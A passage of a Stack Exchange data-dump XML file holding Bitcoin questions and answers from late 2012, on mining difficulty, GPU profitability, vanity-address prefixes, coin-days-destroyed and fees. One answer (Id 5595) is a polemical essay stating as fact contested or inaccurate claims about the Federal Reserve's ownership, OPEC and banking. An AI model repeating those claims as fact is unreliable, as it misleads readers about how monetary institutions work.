  <row Id="5591" PostTypeId="2" ParentId="5584" CreationDate="2012-12-04T05:02:20.307" Score="1" Body="&lt;p&gt;You cannot measure the amount of demand in bitcoins. The price of 1BTC will always be 1BTC, no matter what the demand is. To ask what would happen if the total demand for all bitcoins exceed 21 million BTC therefore makes no sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those attempting to buy bitcoins with other currencies, the more demand there is the higher the price per BTC will become.&lt;/p&gt;&#xA;" OwnerUserId="2348" LastActivityDate="2012-12-04T05:02:20.307" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5592" PostTypeId="1" CreationDate="2012-12-04T08:00:48.633" Score="5" ViewCount="631" Body="&lt;p&gt;I understand the concept of bitcoin days destroyed but on the wiki&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Days_Destroyed&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Bitcoin_Days_Destroyed&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the site calculating it &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://abe.bitcoinstats.org:2750/&quot; rel=&quot;nofollow&quot;&gt;http://abe.bitcoinstats.org:2750/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They give a percentage which is the coin days vs block number. Can someone run me through this calculation. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Block  | Age (days) | Coins Created | Avg Coin Age | %CoinDD&#xA;210842 | 1430.57    | 10521062.02   | 420.84       | 37.2271%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This was a recent sample from abe and I can't arrive at 37.2271% &lt;/p&gt;&#xA;" OwnerUserId="2349" LastEditorUserId="15412" LastEditDate="2014-06-19T19:42:03.837" LastActivityDate="2014-06-19T19:42:03.837" Title="How to calculate bitcoin days destroyed percentage" Tags="|blockchain|bitcoin-days-destroyed|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5593" PostTypeId="1" CreationDate="2012-12-04T08:13:34.680" Score="5" ViewCount="654" Body="&lt;p&gt;Question inspired by &lt;a href=&quot;https://bitcoin.stackexchange.com/q/5578/323&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some combinations letters that will never produce a valid vanity address prefix for various network bytes. For example, for net byte of 52 (Namecoin), one cannot create addresses starting with &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Na, Nb, Nc, Nd, Ne, Nf, Ng, Nh, Ni, Nj, Nk, Nm, Nn, No, Np, Nq, Nr, Ns, Nt, Nu, Nv, Nw, Nx, Ny, Nz, NL, NM, NN, NP, NQ, NR, NS, NT, NU, NV, NW, NX, NY, NZ&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given websites like &lt;a href=&quot;https://vanitypool.appspot.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Vanity Pool&lt;/a&gt; that outsource vanity address creation, creating a blacklist of address prefixes for every net byte would be a complicated task. How can one determine a valid range of address prefixes that can be created with any given net byte?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2012-12-04T12:59:05.563" Title="How to determine valid vanity address prefixes for any starting net byte?" Tags="|address|vanity-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5594" PostTypeId="2" ParentId="5593" CreationDate="2012-12-04T10:17:46.537" Score="2" Body="&lt;p&gt;Casascius' &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Address_Utility&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Address Utility&lt;/a&gt; includes a Base58 calculator. You can input into it the lowest and highest values to encode to obtain the lowest and highest strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, to get the lowest Namecoin address, start with the hex representation of its network byte 52, which is 34, and add 40 zeroes (representing the 160 bits of the public key hash in hex). The result is MvaNCeVyvP6ZXYFWGpKaDX9ujEQ418F7sm. Likewise, to get the highest string use 34 followed by 40 f's, giving NKuyBkoGdZZSLyPbJEetheRhMjezbtjJCf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only 34-character strings which are between these two, in lexicographic ordering, can be valid Namecoin addresses. The ordering of the characters is compatible with ASCII, 123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz, and thus most programming environments should be able to check the address with the built-in string comparison functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, the first 2 characters can only be one of the combinations between Mv and NK, which are Mv, Mw, Mx, My, Mz, N1, N2, N3, N4, N5, N6, N7, N8, N9, NA, NB, NC, ND, NE, NF, NG, NH, NJ and NK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more general approach is to decode the address into a number, and verify that the result is composed of the required version byte followed by any &lt;em&gt;n&lt;/em&gt; bits (where &lt;em&gt;n&lt;/em&gt; is the bit length of the encoded data, 160 in the case of a receiving address).&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-12-04T12:59:05.563" LastActivityDate="2012-12-04T12:59:05.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5595" PostTypeId="2" ParentId="336" CreationDate="2012-12-04T14:48:02.727" Score="5" Body="&lt;p&gt;Bitcoin is the currency of the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to understand why this is true, there are two key pieces of information that a person must have:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The first is an understanding of how money actually works: how it is created, how it enters the marketplace, and what exactly makes it valuable.&lt;/li&gt;&#xA;&lt;li&gt;The second is an understanding of the Bitcoin community and system.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The short answer is that Bitcoin does everything you'd like a currency to do, and it doesn't have any of the drawbacks associated with any of the other currencies available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is amazing acceptable as a currency to every honest and rational person who also really understands money, and it is a magnificent protest against everything that is wrong with politics, wall street, the global central banking system, and our grossly manipulated economy.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Oh, you want more details?  Great!&#xA;Here's a great explanation in 104 seconds:&#xA;&lt;a href=&quot;http://www.weusecoins.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.weusecoins.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You want even more?  That AWESOME TOO!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The below is a bit meater, but it's important information to understand the real problems that Bitcoin solves.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Every currency has it's own rules for it's creation.  Some currencies are made out of a precious commodity that is inherently valuable (like gold and silver coins, or in the past: shells and jewelry), some currencies are paper for easy exchange but backed by a commodity (like gold or silver certificates), but most modern currencies are simply paper that is printed by a private central bank empowered to print a nations currency by that country's government.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modern currencies enter the marketplace by being lent out through a series of banks that charge interest.  The country's central bank prints the money and lends that money out to the big banks in the country at the &quot;discount window&quot; interest rate; these banks then lend out the money on consumer loans through their branch banks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This system ensures that there is never enough money for all the people to pay off their debts.  It ensures that there are always people who will be motivated to work for money.  This system also allows the banking industry to basically control when there will be massive defaults and foreclosures.  Defaults and foreclosures are built into the system itself.  A quick visual example to demonstrate this:  imagine if there was no money in a country of 2000 people, then half the people in this country all borrowed $1000 from their chosen bank, injecting $1M worth of currency into the country, and these individuals who received loans all agreed to pay back $1100 a year later (the loan plus $100 interest).  The banks are going to get a vast amount of that money paid back to them, and the people who aren't as good at getting money will lose their assets which the banks will seize through foreclosure.  The banks themselves did nothing to create value, they did not put up the money themselves, they borrowed it from the central bank, and they sold the FHA compliant mortgage to a federally insured government sponsored enterprise like fannie-mae or freddie-mac, which get bailed out at tax payer expense... so the banks don't really have to deal with foreclosed properties either.  The foreclosed properties end up going to HUD, and someone else will take out another loan to buy them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This system works incredibly well for the banking industry, they get to collect interest and seize properties without having put up any capital themselves; their loses are pushed onto the tax-payers through bailouts; and their profits accrue to shareholders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Politicians accept this mostly because they don't understand it, or if they do, they have positioned themselves to benefit from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This system provides those in the government (and those with connections to the government) with easy access to new money; The Federal Reserve, a private company, with private and secret shareholders, is empowered by the federal government to be the sole printer of Federal Reserve Notes (US Dollars), and in exchange, the Federal Reserve MUST purchase any treasury bonds that the US Treasury requires it to purchase.  This arrangement means that the US federal government may issue an unlimited number of US Treasury Bonds without fear of ever not having a buyer for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The four reasons that US Dollars (Federal Reserve Notes) are considered valuable are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;US Citizens are forced (under penalty of asset seizure and imprisonment) to pay taxes using US Dollars&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;EVERY US Dollar currently in existence (and many more that are not in existence) are owed as debts to banks who were able to create loans as the vehicle for injecting money into the economy.  (Thus fear of asset seizure [foreclosure] drives debtors to get US Dollars to pay off their debts).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The US Court System has established that Federal Reserve Notes are &quot;Legal Tender for All Debts Public and Private&quot;, this means that all penalties and fees imposed by any government body in the US must be denominated in US Dollars, and any debt may be discharged in US dollars.  (This means a contract that was originally between two people and said that Bob would pay Jean one ounce of 0.9999 gold, if Bob fails to pay and Jean takes him to court, the court will assert that Bob owes Jean a debt, and the amount will be denominated in US Dollars, and Bob will be able to discharge his debt to Jean in US dollars.  This is the meaning of &quot;Legal Tender for All Debts Public and Private&quot;) AND FINALLY&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Other countries are forced (under OPEC rules) to use US Dollars for making exchanges of oil; this dramatically strengthens the international demand for US Dollars.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The basic reason US Dollars are valued is because the people agree to these rules.  Debtors cannot simply walk away from their debts (though now, more than ever, people are);  Tax Payers cannot pay their taxes with any other currency; and individuals who are found liable in a lawsuit are required to pay in US Dollars.  All of these actions fundamentally introduce the use of real or threatened police force against anyone who does not deal with Federal Reserve Notes in the US (and similar laws exist in other countries).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional information how how force and covert aggression are used against countries that resist participation in the Global Banking System, you might consider reading: Confessions of an Economic Hit Man.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bottom line is that most modern currencies are injected into society only with the creation of debt, and then the government uses threat of asset seizure and imprisonment and taxation and fines/fees to ensure that the currency is accepted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is a purely electronic currency.  It is created using very precisely controlled and agreed upon algorithms that are open source and totally transparent.  No one is forced to use it, and it is not based on debt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is valuable precisely because rational and honest people don't want to manipulate, control, and enslave debtors.  Bitcoin is the ultimate economic self-defense against dishonest individuals who have found their way into leadership positions within the banking industry, individuals who have positioned themselves as the Gods of Money, and who seek to use violence and threat of asset seizure against individuals who have had difficulty earning sufficient money to pay their debts (debts largely entered into as a pledge on the part of the debtor, and for which the creditor did little more than authorize an electronic funds transfer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is fast, global, secure, largely anonymous, and less expensive than nearly any other transaction processing services (compare rates with credit card merchant services, paypal merchant services, and the many other bank fees associated with having an account).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is valuable because the community of users all agree that it is valuable.  And every person who uses Bitcoin, who recognizes the value of this idea, strengthens the value of the currency.  It is an idea whose time has come.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a Wallet, let people know that you accept Bitcoin.&#xA;Learn more about Bitcoin.&#xA;Consider purchasing Bitcoin on an exchange market.&#xA;Consider operating a Miner.&#xA;Buy something with Bitcoin.&#xA;Help others discover Bitcoin as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is a perfect opportunity to help educate others about the realities of Money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Continue your own education.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An excellent documentary that presents the almost unbelievable and borderline terrifying history of money is &quot;The Money Masters&quot; ( &lt;a href=&quot;http://www.youtube.com/watch?v=lXb-LrVkuwM&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=lXb-LrVkuwM&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are a community of individuals who are honest, strong, and fully grounded in reality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are invited and welcome to participate in the paradigm shift and the revolution.&lt;/p&gt;&#xA;" OwnerUserId="2346" LastActivityDate="2012-12-04T14:48:02.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5596" PostTypeId="1" AcceptedAnswerId="5606" CreationDate="2012-12-04T20:38:04.477" Score="3" ViewCount="315" Body="&lt;p&gt;What would the basis of difficulty derivatives and insurance be? Like how could we structure someone such that if the difficulty goes above a certain amount there's a payout to protect miners, &amp;amp; stabilize their ventures?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="5406" LastEditDate="2016-04-01T09:12:52.753" LastActivityDate="2016-04-01T09:12:52.753" Title="Difficulty based derivatives and insurance" Tags="|difficulty|mining-profitability|finance|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5597" PostTypeId="2" ParentId="490" CreationDate="2012-12-04T20:45:10.080" Score="-1" Body="&lt;p&gt;You can get yourself an online wallet at a site like &lt;a href=&quot;https://blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;Blockchain&lt;/a&gt;.&#xA;Then you can log in on the site from any computer to access your wallet.&lt;/p&gt;&#xA;" OwnerUserId="2355" LastEditorUserId="2355" LastEditDate="2012-12-05T18:40:07.253" LastActivityDate="2012-12-05T18:40:07.253" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5598" PostTypeId="2" ParentId="336" CreationDate="2012-12-04T21:08:42.083" Score="15" Body="&lt;p&gt;Quite concisely, bitcoin is to money what email was to letters . . . and the post office is in trouble.&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2012-12-04T21:08:42.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5599" PostTypeId="2" ParentId="4878" CreationDate="2012-12-04T21:45:29.677" Score="4" Body="&lt;p&gt;How about &lt;a href=&quot;http://blockorigin.pfoe.be&quot; rel=&quot;nofollow&quot;&gt;http://blockorigin.pfoe.be&lt;/a&gt; which aims to provide a reliable source of information by scraping pool web sites to see which pool claims ownership of each and every block (hence avoiding the problem that Peter Wuille mentions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://bitcointalk.org/index.php?topic=78391.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=78391.0&lt;/a&gt; for discussion.&lt;/p&gt;&#xA;" OwnerUserId="2357" LastActivityDate="2012-12-04T21:45:29.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5600" PostTypeId="1" AcceptedAnswerId="5682" CreationDate="2012-12-04T22:02:26.910" Score="5" ViewCount="2611" Body="&lt;p&gt;Like real world cash problems, we know that scams happen in the Bitcoin community at least as often if not more often for a variety of reasons (oversight, regulation, standards of security, street savvy, etc., or lack thereof).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given little more than a receiving address and perhaps an email address (likely a one-time junk account) or stated location (may not be true), is there a recorded instance where someone who was scammed was able to recover their loss directly from the scammer? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be with police assistance or through communication among online services or people through taint analysis or chain tracking.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="15412" LastEditDate="2014-06-18T05:52:24.127" LastActivityDate="2021-08-09T16:10:04.477" Title="After being scammed, has anyone ever actually managed to recover their BTC?" Tags="|theft|fraud|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5601" PostTypeId="2" ParentId="5596" CreationDate="2012-12-05T01:50:48.077" Score="1" Body="&lt;p&gt;Unlike a commodity which can limit speculation with a delivery requirement, speculation on the difficulty really is more suited for something like a predictions market like &lt;a href=&quot;https://www.fairlay.com/event/category/bitcoin/difficulty/&quot; rel=&quot;nofollow&quot;&gt;https://www.fairlay.com/event/category/bitcoin/difficulty/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MPOe at one time had an options contract on future hashing but that is no longer offered.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2014-05-20T23:29:18.263" LastActivityDate="2014-05-20T23:29:18.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5602" PostTypeId="2" ParentId="5600" CreationDate="2012-12-05T01:58:10.447" Score="-1" Body="&lt;p&gt;I remember that Zhou Tong &quot;figured out&quot; his friend was responsible for the bitcoinica hacking and asked for the return of the bitcoins. IIRC, some were returned, but don't quote me on that.&lt;/p&gt;&#xA;" OwnerUserId="1364" LastActivityDate="2012-12-05T01:58:10.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5603" PostTypeId="1" AcceptedAnswerId="5605" CreationDate="2012-12-05T08:20:13.380" Score="2" ViewCount="292" Body="&lt;p&gt;Miners attempt to hash block data such that it is below a certain target value? By &lt;a href=&quot;https://en.wikipedia.org/wiki/Cantor%27s_diagonal_argument&quot; rel=&quot;nofollow&quot;&gt;Cantor's diagonal proof&lt;/a&gt; aren't there infinitely many successful values below any given target?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="5406" LastEditDate="2016-04-01T09:14:04.800" LastActivityDate="2016-04-01T09:14:04.800" Title="What makes difficulty more difficult?" Tags="|protocol|hash|difficulty|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5604" PostTypeId="2" ParentId="5603" CreationDate="2012-12-05T08:35:19.447" Score="1" Body="&lt;p&gt;The smaller the target, the fewer successful values below it, thus making it harder to find. There's a direct mathematical relationship between the target and the expected number of hashes you must attempt before you have a 50% chance of finding one below the target.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-12-05T08:35:19.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5605" PostTypeId="2" ParentId="5603" CreationDate="2012-12-05T09:01:42.007" Score="9" Body="&lt;p&gt;Hashes are 256-bit integers, meaning they are whole numbers between 0 and 115792089237316195423570985008687907853269984665640564039457584007913129639935. There are no infinitely many different hashes. In particular, the number of hashes smaller than the target is exactly equal to the target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, Cantor's diagonal has nothing to do with it - if hashes were real numbers, there would be infinitely many of them even without any reference to their particular cardinality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What makes mining difficult is that calculating a hash takes time, and that each hash only has a small probability to be less than the target. For practical purposes, each hash is a uniform random number between 0 and 2^256-1, so if the target is X it has a probability of (X/2^256) to be smaller than the target. This means that, on average, 2^256/X hash calculations will be needed in order to find a valid block. The lower X is, the more calculations will be needed.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-12-05T17:51:30.683" LastActivityDate="2012-12-05T17:51:30.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5606" PostTypeId="2" ParentId="5596" CreationDate="2012-12-05T09:16:19.913" Score="1" Body="&lt;p&gt;When miners invest in mining hardware, they get a device that generates hashes at a rate of X, essentially forever. What they will get from it is X times the integral from now to infinity of a*B*P/D, where P is the value of a bitcoin, D is the difficulty, B is the block reward and a is a proportionality constant. The future values of P and D are unknown, and so what they will get out of mining is unknown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be abstracted by saying they have a speculative mining position of X, and they want to hedge their position by investing in instruments that negatively correlate with the future income of mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more aligned the speculative instrument is with actual mining, the more efficient the hedging will be. The most efficient instrument, then, is a mining bond - an asset which pays the expected output of mining with a given hashrate, deterministically and perpetually. By issuing such an asset themselves, or selling on margin such assets in dedicated markets, the miner can neutralize his position, making sure changes in the future values of P and D have no effect on his earnings (as any decrease in the ratio depreciates his obligation by exactly the same amount, and vice versa).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few such mining bonds were offered on GLBSE when it existed, and it is expected that now the void will be filled with assets issued on OpenTransactions, Colored Coins and so on.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-12-05T09:16:19.913" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5607" PostTypeId="1" CreationDate="2012-12-05T10:49:25.570" Score="2" ViewCount="314" Body="&lt;p&gt;I'm using the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;json API&lt;/a&gt;. I need to keep all the account balances positive: I call &lt;code&gt;getbalance&lt;/code&gt; first, check if it has enough bitcoins to proceed, and then &lt;code&gt;move&lt;/code&gt; or &lt;code&gt;sendfrom&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This approach causes two problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem 1 is that this is not an atomic operation, so after the first &lt;code&gt;getbalance&lt;/code&gt; the balance could actually be changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem 2 only happens with &lt;code&gt;sendfrom&lt;/code&gt;: there might be a transaction fee, hence if the user sends his entire balance, he'll have a negative balance due to that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution to Problem 2 would be to &lt;strong&gt;know in advance the transaction fee&lt;/strong&gt;: I noticed (though I didn't try) I can &lt;em&gt;set&lt;/em&gt; it with &lt;code&gt;settxfee&lt;/code&gt;, but I found no call to &lt;em&gt;get&lt;/em&gt; it, is there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I could implement some external lock mechanism to solve Problem 1, I'd rather use a bitcoind native method, though I get it does not exist, does it? &lt;strong&gt;Hacking the &lt;code&gt;sendfrom&lt;/code&gt; function to have it check the balance before sending&lt;/strong&gt; would be enough, I guess?&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="2306" LastEditDate="2013-04-01T08:31:50.543" LastActivityDate="2018-06-06T05:16:07.440" Title="API: keeping account balance positive (+knowing in advance the transaction fee)" Tags="|json-rpc|transaction-fees|api|bitcoin-core-accounts|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5608" PostTypeId="1" AcceptedAnswerId="5611" CreationDate="2012-12-05T13:24:24.383" Score="12" ViewCount="18298" Body="&lt;p&gt;As GPU mining made CPU mining non-profitable, at some point in time more specialized mining hardwares (FPGA and ASIC) would make GPU mining non-profitable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When is GPU mining considered not-profitable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering $1000 rig, $0.2 per kWh and one year break-even period,&#xA;at which difficulty does GPU mining become non-profitable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, what is the formula to find out &quot;max non-profitable Mhash&quot; for given parameters like, rig cost, power consumption, investment break-even period, difficulty, exchange rate, etc. (please ignore redundant parameters, and include more parameters if required.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, whats the current &quot;max non-profitable Mhash&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, what is the required current energy efficiency (Mhash/J = millions hashes per joule) for mining to be profitable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(energy efficiency; 1 joule of energy is 1 watt during 1 second: 1 J = 1 W*s)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For given parameters, &lt;strong&gt;Max. Non-profitable Hash Rate&lt;/strong&gt;, is breakeven point for hash rate after which mining becomes profitable.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="5406" LastEditDate="2016-02-17T20:44:44.327" LastActivityDate="2016-02-17T20:44:44.327" Title="How does one calculate the profitability of GPU mining?" Tags="|mining-profitability|gpu-mining|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5609" PostTypeId="2" ParentId="5608" CreationDate="2012-12-05T13:59:28.590" Score="2" Body="&lt;p&gt;It is deemed not profitable when you cannot recoup the costs you make with the energy spend (and possibly the costs of the video card). It very much depends on how much the card costs, your energy price, and how you think the difficulty will change in the future. If you can provide &lt;/p&gt;&#xA;" OwnerUserId="2361" LastActivityDate="2012-12-05T13:59:28.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5610" PostTypeId="2" ParentId="5608" CreationDate="2012-12-05T14:50:31.927" Score="4" Body="&lt;p&gt;Well, &lt;a href=&quot;http://tpbitcalc.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;there are calculators for that&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, GPU uses a lot of power and at the current difficulty doesn't generate that much bitcoins. Even if you have a return of investment of 1 year, &lt;a href=&quot;http://bitcoin.sipa.be/&quot; rel=&quot;nofollow&quot;&gt;look at the current difficulty graph&lt;/a&gt;. It is rising rapidly. Also, note that the ASIC devices are still not out, the difficulty will increase a couple times that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When calculating whether it is profitable to mine, you need to calculate how many coins you can mine in a given period of time and how much money you will spend on electricity. Be pessimistic with your calculations - assume that the difficulty will rise in the future. If the number is still positive, see how long would it take to earn back the cost of your GPU and other supplies. If it is more than a couple months, you are entering the uncertainty waters of the future market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, unless you have very cheap electricity and low startup costs (second hand hardware at a discount price perhaps), chances are you answer will be that the GPU mining won't ever be profitable again, at least when you are talking about block mining. There are alternative uses for a mining hardware, for example &lt;a href=&quot;https://vanitypool.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;vanity address mining&lt;/a&gt; which can still be profitable. But remember, &lt;a href=&quot;http://tpbitcalc.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;always do your math before making an investment&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-12-05T14:50:31.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5611" PostTypeId="2" ParentId="5608" CreationDate="2012-12-05T15:22:56.853" Score="7" Body="&lt;p&gt;Using the &lt;a href=&quot;http://www.bitcoinx.com/profit/&quot;&gt;Bitcoinx&lt;/a&gt; calculator, I found that a $1,000 rig with a 300 W power draw would need to have 750 MHash/s just to break even on power at $0.20/kWh at the current difficulty (3,438,909), exchange rate (13.13), and block reward (25). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd never break even on the rig itself. Thus why GPU mining is on its way out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a more absurd example, I priced out a &lt;a href=&quot;http://secure.newegg.com/WishList/PublicWishDetail.aspx?WishListNumber=18670351&quot;&gt;reasonable rig&lt;/a&gt; for ~$1,405 with three Radeon HD 7970s, the best mining card combo - 2050 MHash/s - on the market at the time of this writing according to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison#AMD_.28ATI.29&quot;&gt;Mining Hardware Comparison&lt;/a&gt; chart. Its power draw would be around 850 W, according the MHC and a quick review of the parts. &lt;strong&gt;This rig would never be profitable at $0.20/kWh.&lt;/strong&gt; Hell, at my electric rate of $0.07/kWh, it'd take &lt;em&gt;nearly three years&lt;/em&gt; just for a return on investment. Prior to the recent halving, this same rig would make a return after just ~260 days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More proof that GPU mining is on its way out.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2012-12-05T15:22:56.853" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5612" PostTypeId="2" ParentId="5583" CreationDate="2012-12-05T19:36:03.633" Score="16" Body="&lt;p&gt;I have not actually done this, but here is how I understand it. With many tiny amounts, you probably want to consolidate them because the fees for transactions with lots of inputs will be high. Now you ask, by consolidating, won't I just be paying the fees in advance? The answer is that by planning ahead and consolidating them, you can use the low-fee mining pool Eligius to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To estimate the cost of the transaction, I'm going to use only the transaction size (for large transactions, the fee is dominated by or entirely consists of the cost per KB). This is based on the number of inputs and outputs. If all your balances are the same (0.01 BTC), then it doesn't matter how much you spend at at a time, the fee grows linearly with the total BTC amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming 180 bytes per input, 1000 inputs comes to 175KB, which I'm going to round up to 200KB for a safety margin. With the official client, at the default 0.01 BTC / KB fee [1], that would cost 2 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eligius will mine transactions for a fee of 0.2 TBC (0.00008192 BTC) per KB [2]. So Eligius's fee would be 0.016384 BTC. Might as well round that up to 0.02 BTC or higher just to be sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your coins are old enough (say, 3 months for 10 BTC and a 200KB transaction size) [3], then the official client might not enforce the minimum fee on your transaction. Otherwise you may need to use a 